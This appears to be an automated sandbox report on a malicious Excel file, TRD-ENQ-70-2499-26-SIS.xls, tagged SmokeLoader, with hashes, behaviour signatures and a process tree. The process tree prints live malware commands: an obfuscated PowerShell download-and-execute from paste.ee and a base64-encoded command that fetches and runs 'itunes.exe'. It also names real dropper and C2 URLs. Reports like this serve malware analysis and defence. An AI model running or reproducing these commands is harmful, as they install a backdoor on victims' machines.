Analysis

  • max time kernel
    69s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    02-03-2021 03:54

General

  • Target

    TRD-ENQ-70-2499-26-SIS.xls

  • Size

    155KB

  • MD5

    a9f22ee486f5effd62a8880f3472c088

  • SHA1

    eb8531c54d4a11add906fbadba9fc2969ed8fc53

  • SHA256

    ba7022816b45ca6c627869743cb759207d577d774ac0d81edb5bf20445941115

  • SHA512

    88fdd7caa527e34ddfd765b04a9f82a7f4145ed6b6a629e418a28f4c57778c43b8b7402f70549e8a00d4171eb9b7166b72595b951a145b1361df4fac26ab88e9

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://paste.ee/r/w0yLV

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://u.teknik.io/co0r5.txt

Extracted

Family

smokeloader

Version

2018

C2

http://cmcare.ca/1/

rc4.i32
rc4.i32

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\TRD-ENQ-70-2499-26-SIS.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:776
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/w0yLV')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1028
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AYwBvADAAcgA1AC4AdAB4AHQAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAaQB0AHUAbgBlAHMALgBlAHgAZQAdICAAKQAgADsAIABzAHQAQQBSAHQAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAaQB0AHUAbgBlAHMALgBlAHgAZQAdIA==
        3⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:432
        • C:\Users\Admin\AppData\Local\Temp\itunes.exe
          "C:\Users\Admin\AppData\Local\Temp\itunes.exe"
          4⤵
          • Executes dropped EXE
          • Maps connected drives based on registry
          • Suspicious behavior: MapViewOfSection
          PID:1264

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

2
T1012

Peripheral Device Discovery

1
T1120

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9c
    MD5

    b6d38f250ccc9003dd70efd3b778117f

    SHA1

    d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

    SHA256

    4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

    SHA512

    67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8
    MD5

    df44874327d79bd75e4264cb8dc01811

    SHA1

    1396b06debed65ea93c24998d244edebd3c0209d

    SHA256

    55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

    SHA512

    95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422
    MD5

    be4d72095faf84233ac17b94744f7084

    SHA1

    cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

    SHA256

    b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

    SHA512

    43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcf
    MD5

    75a8da7754349b38d64c87c938545b1b

    SHA1

    5c28c257d51f1c1587e29164cc03ea880c21b417

    SHA256

    bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

    SHA512

    798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6
    MD5

    5e3c7184a75d42dda1a83606a45001d8

    SHA1

    94ca15637721d88f30eb4b6220b805c5be0360ed

    SHA256

    8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

    SHA512

    fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
    MD5

    a725bb9fafcf91f3c6b7861a2bde6db2

    SHA1

    8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

    SHA256

    51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

    SHA512

    1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63
    MD5

    597009ea0430a463753e0f5b1d1a249e

    SHA1

    4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

    SHA256

    3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

    SHA512

    5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134
    MD5

    02ff38ac870de39782aeee04d7b48231

    SHA1

    0390d39fa216c9b0ecdb38238304e518fb2b5095

    SHA256

    fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

    SHA512

    24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    0e6951e580128cdf84c9ba7d72dad791

    SHA1

    414d559f2b5df38a3d91e9fad021628fc6c9acef

    SHA256

    1b76fb3c09e01b801f8e6182a0730793a830d7fb4ccfa0959f7f67f5c05e3c61

    SHA512

    b229aa7cb8a2b9ab94e72dcc9affe94ab2f7b4e7e8a5fa60eea9f4f27685ec63adebb4e48ba671fdbd1fb0cf3e5d0c281bc112f47d58d6a7e09a41dc5f7ec851

  • C:\Users\Admin\AppData\Local\Temp\itunes.exe
    MD5

    a207204a635bec1ee31be6dd9f3802e0

    SHA1

    319da3a5c6b013a0c2dfaa8e954b1cd936f8336f

    SHA256

    0da52a9b8788344a1b1cbfd7505d1374367b5eea32153ceb522c4b41100fb940

    SHA512

    33eb8d57fd64627fe307731eb00cb3ee4de37137e51114d527d2e0e031cf575217c55dc65cd54d8e19410f8394acfa244742929a0bc9acc7686a0837c67b6ed9

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    MD5

    e61d0f6d28091435c1c437a05de62d22

    SHA1

    f16387506f6f0de947a404ea9e548197a2ee8a6e

    SHA256

    263eafffbcc6eb6b38e8e46a4b2f05b7e072f34bdf4900c4dd932554c09fb80d

    SHA512

    e8bfa956fcfa90726b84a1e768bc9ac5130855ff0d91859e48cb3acf099e8337b5ed519b39ee9944f9d6b196f7a7a635c99634b8b7f0486f24c8a5254167ef2c

  • \Users\Admin\AppData\Local\Temp\itunes.exe
    MD5

    a207204a635bec1ee31be6dd9f3802e0

    SHA1

    319da3a5c6b013a0c2dfaa8e954b1cd936f8336f

    SHA256

    0da52a9b8788344a1b1cbfd7505d1374367b5eea32153ceb522c4b41100fb940

    SHA512

    33eb8d57fd64627fe307731eb00cb3ee4de37137e51114d527d2e0e031cf575217c55dc65cd54d8e19410f8394acfa244742929a0bc9acc7686a0837c67b6ed9

  • \Users\Admin\AppData\Local\Temp\itunes.exe
    MD5

    a207204a635bec1ee31be6dd9f3802e0

    SHA1

    319da3a5c6b013a0c2dfaa8e954b1cd936f8336f

    SHA256

    0da52a9b8788344a1b1cbfd7505d1374367b5eea32153ceb522c4b41100fb940

    SHA512

    33eb8d57fd64627fe307731eb00cb3ee4de37137e51114d527d2e0e031cf575217c55dc65cd54d8e19410f8394acfa244742929a0bc9acc7686a0837c67b6ed9

  • memory/432-32-0x0000000000000000-mapping.dmp
  • memory/432-35-0x000000006C1F0000-0x000000006C8DE000-memory.dmp
    Filesize

    6.9MB

  • memory/432-40-0x0000000004892000-0x0000000004893000-memory.dmp
    Filesize

    4KB

  • memory/432-39-0x0000000004890000-0x0000000004891000-memory.dmp
    Filesize

    4KB

  • memory/776-3-0x0000000071371000-0x0000000071373000-memory.dmp
    Filesize

    8KB

  • memory/776-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/776-2-0x000000002FD91000-0x000000002FD94000-memory.dmp
    Filesize

    12KB

  • memory/1028-11-0x0000000002912000-0x0000000002913000-memory.dmp
    Filesize

    4KB

  • memory/1028-8-0x00000000009A0000-0x00000000009A1000-memory.dmp
    Filesize

    4KB

  • memory/1028-31-0x0000000006440000-0x0000000006441000-memory.dmp
    Filesize

    4KB

  • memory/1028-16-0x0000000005820000-0x0000000005821000-memory.dmp
    Filesize

    4KB

  • memory/1028-13-0x0000000002710000-0x0000000002711000-memory.dmp
    Filesize

    4KB

  • memory/1028-12-0x0000000002550000-0x0000000002551000-memory.dmp
    Filesize

    4KB

  • memory/1028-22-0x000000007EF30000-0x000000007EF31000-memory.dmp
    Filesize

    4KB

  • memory/1028-10-0x0000000002910000-0x0000000002911000-memory.dmp
    Filesize

    4KB

  • memory/1028-9-0x0000000004A10000-0x0000000004A11000-memory.dmp
    Filesize

    4KB

  • memory/1028-21-0x00000000057B0000-0x00000000057B1000-memory.dmp
    Filesize

    4KB

  • memory/1028-7-0x000000006C1F0000-0x000000006C8DE000-memory.dmp
    Filesize

    6.9MB

  • memory/1028-6-0x0000000076071000-0x0000000076073000-memory.dmp
    Filesize

    8KB

  • memory/1028-5-0x0000000000000000-mapping.dmp
  • memory/1028-23-0x00000000063B0000-0x00000000063B1000-memory.dmp
    Filesize

    4KB

  • memory/1028-30-0x00000000059F0000-0x00000000059F1000-memory.dmp
    Filesize

    4KB

  • memory/1264-55-0x0000000000000000-mapping.dmp
  • memory/1272-58-0x0000000002C10000-0x0000000002C11000-memory.dmp
    Filesize

    4KB

  • memory/1272-59-0x0000000002AD0000-0x0000000002AE5000-memory.dmp
    Filesize

    84KB